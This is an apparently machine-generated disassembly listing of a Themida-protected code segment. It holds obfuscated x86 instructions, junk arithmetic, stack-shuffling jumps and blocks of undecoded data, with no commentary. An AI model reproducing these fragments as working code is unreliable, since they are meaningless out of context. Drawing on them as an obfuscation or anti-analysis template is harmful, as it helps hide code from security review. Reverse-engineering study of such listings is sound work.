Themida_:005082B7j pop ebp and eax, esi jmp loc_501C7D ; --------------------------------------------------------------------------- dd 0DDBB5350h, 8965C70Bh, 0A680E9D8h, 0C0FEFFFFh, 0B753C0FEh dd 80CFFE9Fh, 0F828F3F7h, 0F6FF045Bh, 7E8C0D0h, 0D8F63004h dd 8904EC83h, 8CE9240Ch, 0FFFFFFEFh, 5D042474h, 0E924048Fh dd 0FFFF80C9h ; --------------------------------------------------------------------------- loc_50909C: ; CODE XREF: Themida_:004FF317j push ebp mov ebp, 4E9F26D0h xor ebx, ebp pop ebp jmp loc_5006E0 ; --------------------------------------------------------------------------- dw 0EF81h dd 4, 8B243C87h, 7EE92424h, 8BFFFFCBh, 77FF2424h, 2434FF1Ch dd 81240C8Bh, 4C4h, 0E0FAE900h, 7568FFFFh, 8B22662Eh, 0C483243Ch dd 5C78104h, 8979417Ah, 0C1015FF9h, 10B0E9h, 48F5C00h dd 4895C24h, 5FC7E924h, 14F7FFFFh, 241C8B24h, 8104C483h dd 760FEDCBh, 0E9F38112h, 19EF62Fh, 241C8BD8h, 81E68956h dd 4C6h, 4C68300h, 5C243487h, 8904EC83h, 4BB241Ch, 2D000000h dd 5C0509A2h, 0A205D801h, 5B5C0509h, 0FF727CE9h, 0E9C521FFh dd 0FFFFE535h ; --------------------------------------------------------------------------- loc_509148: ; CODE XREF: Themida_:00500BEDj mov [esp], ecx push 4752h jmp loc_4FF3C4 ; --------------------------------------------------------------------------- db 0FEh, 0CAh, 80h dd 0E2C06BF2h, 0D3CA8003h, 80F4F280h, 0D030A5C2h, 8BC6885Ah dd 0C4812404h, 4, 0E9FFEE80h, 1815h ; --------------------------------------------------------------------------- loc_50917C: ; CODE XREF: Themida_:00509AFBj neg ebp shr ebp, 8 jmp loc_502709 ; --------------------------------------------------------------------------- loc_509186: ; CODE XREF: Themida_:00500D07j add ebp, 4F1E664Ah sub ebp, 241336FCh neg ebp jmp loc_50079E ; --------------------------------------------------------------------------- loc_509199: ; CODE XREF: Themida_:004FF874j pop ecx xchg ebx, [esp] mov esp, [esp] or edx, eax jmp loc_508527 ; --------------------------------------------------------------------------- db 8Bh dd 91E92414h, 57FFFFB7h, 0C781E789h, 4, 8704EF83h, 248B243Ch dd 24248924h, 4240481h, 8B000000h, 0C481240Ch, 4, 78CFE953h dd 8B66FFFFh, 63682404h, 89000002h, 0F2E9243Ch, 81FFFFDAh dd 744B79F2h, 0E0BBE95Fh, 1CF6FFFFh, 0C089E924h, 0C15DFFFFh dd 0F18104E9h, 1DBF7DE5h, 0FF83D7E9h db 0FFh ; --------------------------------------------------------------------------- loc_50920D: ; CODE XREF: Themida_:00504B66j xor ebx, 0DB9F3DF7h mov edx, ebx pop ebx push ebx push edx pop ebx jmp loc_507493 ; --------------------------------------------------------------------------- dw 3489h dd 32BE6624h, 0E6816647h, 0E1E91D8Eh, 89FFFF9Bh, 8B542404h dd 0C4812404h, 4, 1F9BBA52h, 0E2C11920h, 0DAF74A04h, 64DBF57h dd 0FA296DFEh, 1E46E9h, 8666800h, 34890000h, 0E9E68924h dd 0FFFF82D1h ; --------------------------------------------------------------------------- loc_509264: ; CODE XREF: Themida_:005023F7j add ecx, 4 jmp loc_50988C ; --------------------------------------------------------------------------- db 66h dd 0E9240C8Bh, 0FFFFF208h ; --------------------------------------------------------------------------- loc_509278: ; CODE XREF: Themida_:0050AF0Cj pop edx xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] mov [esp], edx push 26D5h mov [esp], esp add dword ptr [esp], 4 pop edx jmp loc_50704A ; --------------------------------------------------------------------------- db 89h, 0E5h, 53h dd 4BBh, 5BDD0100h, 4BB53h, 0C5810000h, 67177929h, 0ED81DD01h dd 67177929h, 242C875Bh, 2434FF5Ch, 582434FFh, 0FF726EE9h dd 241429FFh, 57D2F75Ah, 0AD1DEABFh, 4F4F4F21h, 602EBD55h dd 0DDF760F2h, 4D03EDC1h, 90A1F581h, 0EF293CB1h, 0FFFA015Dh db 34h, 24h, 5Fh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp add eax, 66EB33D0h jmp loc_509E60 ; --------------------------------------------------------------------------- dd 8B24048Fh, 6EE92424h, 66FFFFDBh, 52240C8Bh, 24148B54h dd 0E904C483h, 0FFFF5FD6h, 0B9E95966h, 5AFFFFE0h, 0E9E18951h dd 0FFFFA2A2h, 0FF5AD001h, 72E95930h, 59FFFFFBh, 0FF74D6E9h db 0FFh ; --------------------------------------------------------------------------- loc_509351: ; CODE XREF: Themida_:00503936j mov ecx, esi pop esi jmp loc_504509 ; --------------------------------------------------------------------------- db 87h, 14h, 24h dd 0FF8B48E9h, 2434FFFFh, 592434FFh, 4C481h, 0C4810000h dd 4, 4C181h, 70680000h, 8900000Ch, 2BB241Ch, 1000000h dd 0C335BD9h, 240C3124h, 5C240C33h, 2896664h, 0FF5D24E9h dd 59CE01FFh, 0B06EE81h, 58E9B554h db 82h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5093AB: ; CODE XREF: Themida_:0050213Aj add esp, 4 push edx mov edx, 55A416D9h sub eax, 7CE44D9Fh sub eax, edx jmp loc_507ED7 ; --------------------------------------------------------------------------- dd 28EEEE80h, 14685AF7h, 89000031h, 51B22414h, 148BD700h dd 4C48324h, 0FF8FADE9h, 8BF801FFh, 9FE9243Ch, 81FFFF8Bh dd 1A7C0AEBh, 90E95968h, 0FFFFFFE5h, 589D1C77h, 9C240411h dd 0FF5CC0E9h, 73E952FFh, 81FFFFC2h, 4C1h, 0E5CBE900h dd 0E981FFFFh, 5751140h, 1656E958h, 8B660000h, 8957240Ch dd 0E9E5E9E7h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50942A: ; CODE XREF: Themida_:00500CAFj sub ebx, 0EACE8358h xor edx, ebx pop ebx push edx xor dword ptr [esp], 48304BD2h pop esi xor esi, 48304BD2h pop edx jmp loc_509EDA ; --------------------------------------------------------------------------- dd 50D831ADh, 0BD55E089h, 39CF6F1Fh, 0E906EDC1h, 0FFFFB014h dd 505266ACh, 8853CBB4h, 885250E7h, 0FFF488FEh, 515A2434h dd 39E9E189h, 0BAFFFFD5h, 19915ED0h, 0FFFEBFE9h, 58E500FFh dd 4CE9E800h, 66FFFFC9h, 8F58E95Ah, 0F787FFFFh, 0EC83E7D1h dd 24348904h, 0FFB809E9h db 0FFh ; --------------------------------------------------------------------------- loc_5094A1: ; CODE XREF: Themida_:00505B02j sub al, 1Fh jmp loc_502DD9 ; --------------------------------------------------------------------------- loc_5094A8: ; CODE XREF: Themida_:005056ADj sub [edi+24h], eax mov eax, [esp] add esp, 4 loc_5094B1: ; CODE XREF: Themida_:00507A33j push 108Eh mov [esp], edi push edx push ebp push ebx pop ebp jmp loc_507017 ; --------------------------------------------------------------------------- dw 3C8Bh dd 0B7C4E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5094CA: ; CODE XREF: Themida_:00509CFEj xchg ecx, [esp] pop esp push eax mov eax, 2 sub ebp, eax pop eax push ebp push dword ptr [esp+4] mov ebp, [esp] jmp loc_501D89 ; --------------------------------------------------------------------------- dd 0FB015D5Fh, 0FF6682E9h, 0C8B66FFh, 89515124h, 4C181E1h dd 81000000h, 4E9h, 0D5DAE900h, 0D830FFFFh, 77ED68h, 7019E900h dd 8B66FFFFh, 89502404h, 56E952E0h, 0AD00001Ah, 0E952D831h dd 0FFFF8AF4h ; --------------------------------------------------------------------------- loc_509528: ; CODE XREF: Themida_:00504EC6j shl edx, 1 push eax mov eax, 7D1731C6h inc eax xor eax, 26B42A60h and eax, 2C483D69h sub eax, 1 shl eax, 5 push ebp push esi mov esi, 52C0642Bh mov ebp, 5BB4184Dh jmp loc_502E81 ; --------------------------------------------------------------------------- dw 8B66h dd 89512404h, 0F9BB53E1h, 0F731C965h, 14F753D3h, 1390E924h dd 4310000h, 4EE99C24h, 80FFFF5Bh, 0C8283BC1h, 58C10859h dd 0F180C1FEh, 0E9C80054h, 18FDh, 56242489h, 4BEh, 693DE900h dd 26E9FFFFh db 5Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50959B: ; CODE XREF: Themida_:004FF4D3j push dword ptr [esp] pop ebx jmp loc_50279C ; --------------------------------------------------------------------------- dd 0B41FC5BDh, 0ED814565h, 65B41FC2h, 555DE801h, 4A677CBDh dd 0EE32E933h, 815DFFFFh, 4C5h, 4ED8300h, 0FFB2F1E9h, 148B66FFh dd 7E8AE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5095D6: ; CODE XREF: Themida_:00500799j push 24h mov edx, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xor esi, [esp] jmp loc_504A4C ; --------------------------------------------------------------------------- db 0BEh, 24h, 79h dd 0F029013Ah, 0E92434FFh, 0FFFFE2B0h, 2DFEE781h, 0EF817BE1h dd 0FD558381h, 405FF809h, 83F3C05h, 0FB23E918h, 6850FFFFh dd 44F155C6h, 0BD680558h, 0C6891CBDh, 6824048Bh, 6DF5h dd 54243489h, 4C6815Eh, 81000000h, 4C6h, 24348700h, 0F724248Bh dd 2DC681DEh, 31AED66Fh, 24348BF0h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push edi mov edi, 3815663Dh jmp loc_501755 ; --------------------------------------------------------------------------- dw 56E9h dd 0BBFFFF5Ah, 337B7C0Dh, 0FF90C6E9h, 491DB8FFh, 0C10110A1h dd 3CC98158h, 81015E1Ah, 0B9C66EF1h, 59CD8907h, 6CCD814Dh dd 0E9790667h, 0FFFF88DCh, 0BBE9E789h, 5EFFFF8Fh, 2404295Bh dd 636668h, 24348900h, 32542668h, 0B9515E62h, 5A556120h dd 8244C01h, 24448159h, 0D4271104h, 24740166h, 0B6DE904h dd 0EE830000h, 8DCCE904h, 8B66FFFFh, 6853240Ch, 7C3Ah dd 50242489h, 4B8h, 0D67E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5096EE: ; CODE XREF: Themida_:0050587Aj sub ecx, edi pop edi add ecx, esi push esi mov esi, 26C737A2h add ecx, esi pop esi jmp loc_5052FB ; --------------------------------------------------------------------------- db 21h, 0F1h, 0E9h dd 0FFFFA8E4h, 4B9h, 0DCCEE900h, 8B66FFFFh, 4E682404h dd 8900007Bh, 0E189240Ch, 3377BA52h, 0C2812F29h, 0D0D6CC8Dh dd 209DC181h, 0D10139EAh, 99E5E953h, 82E9FFFFh db 59h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50973F: ; CODE XREF: Themida_:00502E5Aj xor [esp], ecx xor ecx, [esp] xor [esp], ecx push dword ptr [esp] pop eax push ebx push 56D5h mov [esp], esp add dword ptr [esp], 4 pop ebx push eax mov eax, 382C7201h add eax, 0C7D38E03h jmp loc_5058F4 ; --------------------------------------------------------------------------- dw 248Bh dd 30FF6624h, 0FFF33DE9h, 0E0B850FFh, 0E969050Eh, 0FFFFA744h dd 7C21BE56h, 0F0016B6Bh, 0FF5AF2E9h, 81E189FFh, 4C1h dd 4C18300h, 5C240C87h, 0A033E955h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5097A2: ; CODE XREF: Themida_:00503510j add edi, eax pop eax push ebp push eax push 3B4147D4h pop eax push esi mov esi, 0C4BEB830h add eax, 27E41571h add eax, esi sub eax, 27E41571h pop esi push edx mov edx, eax mov ebp, edx pop edx pop eax add edi, ebp push dword ptr [esp] jmp loc_505BF2 ; --------------------------------------------------------------------------- loc_5097D1: ; CODE XREF: Themida_:00501122j add [esp+4], eax add dword ptr [esp+4], 72C50355h pop eax pop edx jmp loc_501B5D ; --------------------------------------------------------------------------- dd 0C681E689h, 4, 5604C683h, 42474FFh, 24048F5Eh, 73E9535Ch dd 0FFFFFFA6h, 68582434h, 7182h, 89240489h, 177DE9E0h dd 0B5510000h, 59EB88E6h, 0FFAE64E9h, 4BD55FFh, 1000000h dd 8B04246Ch, 0C481242Ch, 4, 1516E95Bh, 248B0000h, 0C8B6624h dd 61436824h, 0C890000h, 4EC8124h, 89000000h, 2BE92424h db 0C2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_509853: ; CODE XREF: Themida_:004FF595j push ebx push 6FFB077Eh pop ebx shl ebx, 5 jmp loc_50B152 ; --------------------------------------------------------------------------- dw 0D7F6h dd 81E78957h, 4C7h, 4EF8300h, 5C243C87h, 0FF710DE9h, 5EBC1FFh dd 12E5E9h, 24048900h, 0E951F0B4h, 0FFFFD6FAh ; --------------------------------------------------------------------------- loc_50988C: ; CODE XREF: Themida_:0050926Aj sub esp, 4 mov [esp], eax mov eax, 4 add ecx, eax pop eax jmp loc_4FFCA1 ; --------------------------------------------------------------------------- db 29h dd 0FDC781D7h, 5A7D354Ch, 85E9F801h, 5C00000Ah, 24048966h dd 0FF5808E9h, 86F586FFh, 2B050EFh, 8058C730h, 6BE93BC7h dd 8BFFFF7Ah, 0E9F62424h, 0CCB60F66h, 8904EC83h, 8C68243Ch dd 8900005Dh, 68572424h, 4, 247C015Fh, 15D9E904h, 0CF290000h dd 5FF88959h, 0FFD55EE9h, 83BA52FFh, 55113D5Dh, 0D05888BDh dd 0E2BCE92Ch, 0D1F7FFFFh, 0FF64BEE9h, 4EC81FFh, 0E9000000h dd 0FFFFAB1Fh ; --------------------------------------------------------------------------- loc_509920: ; CODE XREF: Themida_:00500B22j pop edi jmp loc_50A7E3 ; --------------------------------------------------------------------------- dw 0BC25h dd 0E956813Ch, 0FFFF5D3Eh, 4608EEC1h, 0BF57D6F7h, 3FFA115Bh dd 0E781DFF7h, 2D86213Bh, 3FD0E781h, 0E7811A44h, 6CA82CDCh dd 3666F781h, 0E9436Eh, 0BD000006h, 311773CDh, 99E9DDF7h dd 51FFFFE8h, 0C40F3FB9h, 81D9F754h, 1552FAC1h, 0C81CE97Dh dd 48FFFFFh, 5DBCE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_509982: ; CODE XREF: Themida_:00509E13j xor edx, ebx jmp loc_509D03 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 31E9565Bh, 81FFFF80h, 0AE7417EFh, 1AC7811Fh, 596F7B16h dd 0FF9892E9h, 59C829FFh, 4F05D001h, 0FF3D7F51h, 815A2434h dd 4C4h, 4C08300h, 2474FF50h, 0C68FE904h, 0C381FFFFh, 4 dd 4C381h, 1C870000h, 0EC815C24h, 4, 89240489h, 405E0h dd 42D0000h, 0E9000000h, 0FFFF9E28h, 0E904C483h, 0FFFFF85Dh dd 0D04EDEB9h, 0C1D9F721h, 0E1C102E9h, 0FFE98105h, 0C1FFFFFFh dd 0E98103E9h, 166E7B8Fh, 481E9h, 13BD5500h, 450F7833h dd 0E902EDC1h, 0FFFF9B1Dh ; --------------------------------------------------------------------------- loc_509A28: ; CODE XREF: Themida_:00502C27j push edi pop ecx pop edi not edi push ecx push edi pop ecx pop edi xor [esp], ecx xor ecx, [esp] xor [esp], ecx push dword ptr [esp] pop eax push esi mov esi, esp add esi, 4 jmp loc_5021CF ; --------------------------------------------------------------------------- dd 0B4506659h, 66E22899h, 8BD58858h, 0C4832414h, 16DAE904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_509A62: ; CODE XREF: Themida_:005065E2j mov ebp, 7B111D99h shr ebp, 3 inc ebp add ebp, 16C933E0h and ebp, 9DA5F19h shl ebp, 5 jmp loc_505994 ; --------------------------------------------------------------------------- db 0BDh dd 2, 37FCEE81h, 0EE01631Dh, 0FF57DCE9h, 0E38953FFh, 4C381h dd 0C3830000h, 241C8704h, 0F961E95Ch, 0ED83FFFFh, 0ECF581FFh dd 0E9014C30h, 1A3h ; --------------------------------------------------------------------------- loc_509AB4: ; CODE XREF: Themida_:00500301j push 2D0Fh mov [esp], edx mov edx, 4EB9088Dh push ecx mov ecx, 780E591Fh jmp loc_5009DA ; --------------------------------------------------------------------------- loc_509ACC: ; CODE XREF: Themida_:0050898Fj mov ecx, 532433Fh jmp loc_500CA7 ; --------------------------------------------------------------------------- dw 0C483h dd 5FBD5504h, 0E9751A53h, 0FFFFF0C3h ; --------------------------------------------------------------------------- loc_509AE4: ; CODE XREF: Themida_:00508B6Dj mov esp, [esp] idiv cx push ebp mov ebp, esp push ebx push ebp push 25F56A7Ch pop ebp dec ebp shl ebp, 8 neg ebp jmp loc_50917C ; --------------------------------------------------------------------------- dd 0B7DEEE81h, 0F7297B36h, 906DE95Eh, 0E189FFFFh, 4C181h dd 0E9810000h, 4, 5C240C87h, 0BA241489h, 3274449Fh, 0F281D2F7h dd 0CD8BBB64h, 3BE9D501h, 81FFFFD2h, 4C5h, 242C8700h, 2C1835Ch dd 0FFB2F4E9h db 0FFh ; --------------------------------------------------------------------------- loc_509B49: ; CODE XREF: Themida_:0050684Ej push edx mov edx, 0 jmp loc_50AAF5 ; --------------------------------------------------------------------------- dd 43DFF181h, 0CB011D5Ah, 9C2FE959h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_509B62: ; CODE XREF: Themida_:00507608j add eax, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] mov esp, [esp] add al, 0ECh add al, 17h sub al, cl jmp loc_501A62 ; --------------------------------------------------------------------------- dw 0DF68h dd 5A71B460h, 81EAD142h, 0C33DFAC2h, 94C28158h, 52C3D0C2h dd 7F242C81h, 8B4D0207h, 48E92434h db 60h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_509BA3: ; CODE XREF: Themida_:00500808j mov ecx, 4 add ebp, 31F37621h sub ebp, ecx sub ebp, 31F37621h pop ecx xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp jmp loc_509C45 ; --------------------------------------------------------------------------- dw 0C681h dd 320204Dh, 5D61E981h, 0F1011625h, 0FFC287E9h db 0FFh ; --------------------------------------------------------------------------- loc_509BD9: ; CODE XREF: Themida_:0050603Cj push ecx push 7FDE99AFh pop ecx xor ebx, ecx pop ecx and eax, ebx mov ebx, [esp] add esp, 4 or eax, eax jz loc_5023AD push dword ptr [edi+28h] mov eax, [esp] push 4447h mov [esp], ebp push esp jmp loc_508C88 ; --------------------------------------------------------------------------- dw 565Eh dd 0C681E689h, 4, 4C681h, 34870000h, 0C6815C24h, 4, 0FFD979E9h dd 13EE80FFh, 0E95AF000h, 0FFFFA697h ; --------------------------------------------------------------------------- loc_509C34: ; CODE XREF: Themida_:0050304Fj inc esi and esi, 784D26B4h jmp loc_504899 ; --------------------------------------------------------------------------- dd 0FF547CE9h db 0FFh ; --------------------------------------------------------------------------- loc_509C45: ; CODE XREF: Themida_:00509BC1j mov [esp], ebp mov ebp, 37C5317Fh push 102Fh jmp loc_50B0A2 ; --------------------------------------------------------------------------- db 0C1h dd 0C58102E5h, 0E57B829Ah, 67E9E889h, 0F7000011h, 4C181D9h dd 818FB388h, 0E11609C5h, 81CD0112h, 0E11609EDh, 0C5815912h dd 4, 0E9242C87h, 0FFFF708Dh, 0FEC8EB80h, 16F380C3h, 8089EC80h dd 0B4E91CC4h, 0C1FFFFC5h, 424204E2h, 0C7AE9h db 0 ; --------------------------------------------------------------------------- loc_509CA9: ; CODE XREF: Themida_:00502655j mov edi, [esp] jmp loc_505DA7 ; --------------------------------------------------------------------------- loc_509CB1: ; CODE XREF: Themida_:00508BE6j mov ebp, ecx jmp loc_504044 ; --------------------------------------------------------------------------- dd 0EE81FE01h, 2B953A51h, 0B68535Fh, 5B6FA91Bh, 8105E3C1h dd 0A02279EBh, 0FDC3817Bh, 0E977C407h, 0FFFFDFF8h, 0A0C5E957h dd 14F7FFFFh, 4B2D5824h, 9A2CF05h, 24048BC6h, 0FF6886E9h db 0FFh ; --------------------------------------------------------------------------- loc_509CF5: ; CODE XREF: Themida_:005022B9j add ecx, 4 add ecx, 4 jmp loc_5094CA ; --------------------------------------------------------------------------- loc_509D03: ; CODE XREF: Themida_:00509984j push ebx not dword ptr [esp] pop ebx jmp loc_503E88 ; --------------------------------------------------------------------------- db 29h, 0DFh, 5Bh dd 0BA52CF01h, 1A00A26h, 8108E2C1h, 803176F2h, 5AD701A9h dd 74FF5759h, 0EDE90424h db 0C6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_509D2F: ; CODE XREF: Themida_:0050B158j add ebx, 55CD12B4h push edx mov edx, 3F34C3F4h xor ebx, edx pop edx mov esi, ebx pop ebx and eax, esi jmp loc_507658 ; --------------------------------------------------------------------------- dd 54CDC381h, 0FB015D05h, 54CDEB81h, 0B9685D05h, 8900005Fh dd 0A8E9240Ch, 0E9FFFFE7h, 0FFFF5359h, 83241C8Bh, 0B15104C4h dd 0E9505393h, 0FFFF569Ah, 24048B66h, 2F6068h, 243C8900h dd 0FF707DE9h, 4EC83FFh, 0B9240C89h, 331272D6h, 1272D8BBh dd 0E9CB2933h, 0FFFF92B4h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_5070CA ; --------------------------------------------------------------------------- dd 0C0B2C580h, 536602EDh, 7DE97BB7h, 5BFFFF69h, 31240433h dd 4332404h, 0EC835C24h, 982CE904h, 8225FFFFh, 0E975E329h dd 0FFFFB3FDh, 0E468E389h, 89000068h, 0EBE2434h, 4E260C52h dd 2414F756h, 0C1DEF75Eh, 0D5E902E6h db 0F0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_509E03: ; CODE XREF: Themida_:005061CCj xor esi, ebp xor ebp, esi xor esi, ebp push ebp xchg edi, [esp] xchg edx, edi xor edx, ebx xor ebx, edx jmp loc_509982 ; --------------------------------------------------------------------------- dd 0BB241C89h, 64C5E31Dh, 2552C781h, 0DF013A00h, 0FF557CE9h dd 0F6D8B0FFh, 0E9B604D8h, 0FFFFEE8Eh, 8EDC14Dh, 0FF966EE9h dd 48B66FFh, 0F4685624h, 68000077h, 26F0h, 0E9242489h dd 0FFFFD903h ; --------------------------------------------------------------------------- loc_509E58: ; CODE XREF: Themida_:005031C8j mov ecx, [esp] jmp loc_508F90 ; --------------------------------------------------------------------------- loc_509E60: ; CODE XREF: Themida_:0050930Fj add eax, edx sub eax, 66EB33D0h pop edx jmp loc_5036FB ; --------------------------------------------------------------------------- db 0ADh, 0E9h, 2Dh dd 81FFFFB7h, 57232FEAh, 0E9D631A6h, 0FFFF7319h ; --------------------------------------------------------------------------- loc_509E80: ; CODE XREF: Themida_:00504E0Ej add esp, 4 xchg eax, ebp dec ebp xchg eax, ebp add eax, 8B8CC26Ah push edx mov edx, 24h add edx, edi add [edx], eax jmp loc_509F7D ; --------------------------------------------------------------------------- dw 0CB29h dd 0FF9511E9h, 0D1215FFFh, 8124148Bh, 4C4h, 6E9C100h, 4EC8356h dd 8B241C89h, 7FE92434h db 0A0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_509EBF: ; CODE XREF: Themida_:0050038Aj xchg ebp, esi xchg ebx, ebp not ebx xor ebp, ebx xor ebx, ebp xor ebp, ebx xchg ebp, esi push eax push esi mov eax, [esp] add esp, 4 jmp loc_508AB7 ; --------------------------------------------------------------------------- loc_509EDA: ; CODE XREF: Themida_:00509443j add esi, eax pop eax and eax, esi mov esi, [esp] push edi mov edi, esp add edi, 4 jmp loc_4FF29E ; --------------------------------------------------------------------------- dd 219DC381h, 51E9F11Eh, 0BBFFFF86h, 15AB4133h, 4137F381h dd 0DA0115ABh, 83241C8Bh, 0A3E904C4h, 0C1FFFF7Ch, 0D0F705E0h dd 0FF5B70E9h db 0FFh ; --------------------------------------------------------------------------- loc_509F1D: ; CODE XREF: Themida_:005078E5j add edx, eax add edx, 1E2219DAh push ecx mov ecx, 0A5D3A17h push edx push ecx jmp loc_504352 ; --------------------------------------------------------------------------- dw 0BBh dd 0E9000000h, 548h, 649CE981h, 0E95D7970h, 0FFFFDC6Eh dd 0C103EEC1h, 464E04EEh, 0FF7C73E9h, 89E959FFh, 81FFFFCDh dd 9F853C7h, 0D2BEE937h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_509F66: ; CODE XREF: Themida_:0050846Cj push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] jmp loc_4FF760 ; --------------------------------------------------------------------------- loc_509F7D: ; CODE XREF: Themida_:00509E95j pop edx mov eax, [esp] add esp, 4 loc_509F84: ; CODE XREF: Themida_:00504D9Fj push 10BFh mov [esp], ebx push ebp mov ebp, 6D2949A8h sub dword ptr [esp+4], 54CE6639h sub [esp+4], ebp add dword ptr [esp+4], 54CE6639h jmp loc_5043F0 ; --------------------------------------------------------------------------- db 8Bh dd 0EC832414h, 24048904h, 0FF74DCE9h db 0FFh ; --------------------------------------------------------------------------- loc_509FB9: ; CODE XREF: Themida_:00501E2Cj pop edi push ebp jmp loc_4FFC37 ; --------------------------------------------------------------------------- dd 0C581E589h, 4, 4BB53h, 0C5810000h, 5C6B03DFh, 0ED81DD01h dd 5C6B03DFh, 242C875Bh, 0E924248Bh, 9EDh, 0ED80F3B5h dd 8BE8005Fh, 0C483240Ch, 4B686604h, 0C89661Bh, 4A7B124h dd 4B0478h, 4EC83C8h, 0B3241C89h, 0A6F38047h, 0FFBEEBE9h db 0FFh ; --------------------------------------------------------------------------- loc_50A015: ; CODE XREF: Themida_:00503C49j mov edi, 2FA539B2h jmp loc_503E0D ; --------------------------------------------------------------------------- db 80h dd 0C58044EDh, 79C58033h, 0FE09ED80h, 0AF580C5h, 7AE9EB00h dd 2CFFFF75h, 0E9C688ABh, 0FFFF7AB5h, 4BFh, 5FFB0100h dd 0E9241C87h, 0FFFFCA4Ch, 1639D0BEh, 0E9D6F730h, 0FFFFBAABh dd 8104C483h, 2C3h, 241C8700h, 6624248Bh, 0E9C8AF0Fh, 0FFFF972Eh dd 93F3815Bh, 0E96DA57Dh, 0FFFFD93Eh, 8B04C483h, 0FEE92434h dd 1FFFF8Ch, 5D5DE9DAh, 1068FFFFh, 89000020h, 86E9242Ch db 69h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50A09F: ; CODE XREF: Themida_:005070D6j add esp, 4 push ebp push dword ptr [esp+4] pop ebp jmp loc_500120 ; --------------------------------------------------------------------------- db 0B8h, 0FFh, 59h dd 0C7310B75h, 5FFB2958h, 649AE956h, 0EC83FFFFh, 24148904h dd 1A51BF57h, 0E781633Ah, 77031BC5h, 5AD1E94Fh, 0B951FFFFh dd 7B795F2Fh, 159CB01h, 2FEB81CBh, 597B795Fh, 0FF90A0E9h dd 80CFFEFFh, 0EC8301EFh, 14896602h, 52B224h, 805A66D7h dd 0EF80C6F7h, 5BF88862h, 5366BA34h, 0EBE94BB7h, 0BFFFFFD7h dd 5CD77B03h, 8105EFC1h, 4D216AF7h, 0F7814F70h, 43C55AF9h dd 0FFF4D7E9h, 3032B6FFh, 8931E9F7h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50A136: ; CODE XREF: Themida_:00500517j xor ecx, [esp] pop esp jmp loc_50AACE ; --------------------------------------------------------------------------- align 10h dd 8B665BD8h, 4DE9240Ch, 5FFFFBFh, 78DA1245h, 0FF6A81E9h dd 4335DFFh, 24043124h, 8B240433h, 34FF2424h, 28E924h dd 0E6810000h, 192D2E79h, 2E6C146h, 7706E681h, 0EE8116D6h dd 9309EBA5h, 5FE9F229h, 8BFFFF8Bh, 0C483240Ch, 0DD3FE904h dd 48BFFFFh, 4C48324h, 0FFE5F8E9h, 0A5F358FFh, 0FF8C01E9h dd 0BE4FBDFFh, 0EF29F586h, 5FFD215Dh, 0B5D4E951h, 0C89FFFFh dd 50E18924h, 0CD0709B8h, 0E9D8F755h, 0FFFF6014h ; --------------------------------------------------------------------------- loc_50A1C8: ; CODE XREF: Themida_:005032A0j add esi, 24A86471h pop ecx mov [edx], esi pop esi mov edx, [esp] add esp, 4 loc_50A1DB: ; CODE XREF: Themida_:00500C13j ; Themida_:00505D64j mov ebx, [esp] push edx mov edx, esp push ebp mov ebp, 18AD0603h push 0CEFh mov [esp], eax mov eax, 49734E0Ch jmp loc_505E94 ; --------------------------------------------------------------------------- db 66h, 89h, 1Ch dd 0F610E924h, 575DFFFFh, 2BFh, 0CB2DE900h, 0CE01FFFFh dd 2EA9BF57h, 0DFF72EC8h, 0FFA021E9h db 0FFh ; --------------------------------------------------------------------------- loc_50A21D: ; CODE XREF: Themida_:00506228j mov esp, [esp] mov [esp], edi mov edi, 52F6D35h or edi, 10523E5Dh jmp loc_508E32 ; --------------------------------------------------------------------------- loc_50A233: ; CODE XREF: Themida_:00507FF7j pop esp and eax, edi jmp loc_5076F3 ; --------------------------------------------------------------------------- db 81h dd 1104246Ch, 8166D427h, 2004246Ch, 5E5A5561h, 0FF7E6DE9h dd 0C8B66FFh, 4F866824h, 0CFE90000h, 68FFFFDEh, 4DDC73CFh dd 45C6815Eh, 0E978E72Eh, 0FFFF8038h, 8B240C87h, 0A9E92424h dd 100000Ch, 0BE5659CFh, 4, 875EF701h, 248B243Ch, 68F1F724h dd 5E70h, 0E9241489h, 0FFFF9D49h, 0EA81D2F7h, 920BA7BBh dd 815AD101h, 97615FE9h, 67EFE966h, 1489FFFFh, 81E28924h dd 4C2h, 4EA8100h, 0E9000000h, 0FFFF5F7Ah, 1EB95152h, 0E96F8A3Fh dd 0FFFFA6D2h ; --------------------------------------------------------------------------- loc_50A2D4: ; CODE XREF: Themida_:00504EAFj mov ebx, 2 jmp loc_50420D ; --------------------------------------------------------------------------- dw 8B66h dd 0C6E9241Ch, 8300000Eh, 0C38104C4h, 4, 4C381h, 1C870000h dd 4315C24h, 4DBFE924h, 0CF01FFFFh, 0EBEEF81h, 89597DE3h dd 0BF575FFDh, 57C73AB6h, 0FFF0C4E9h, 57D7F7FFh, 5F2404FFh dd 5F28CF81h, 0E2E922BEh, 66FFFFACh, 0E902B60Fh, 0FFFFC85Dh 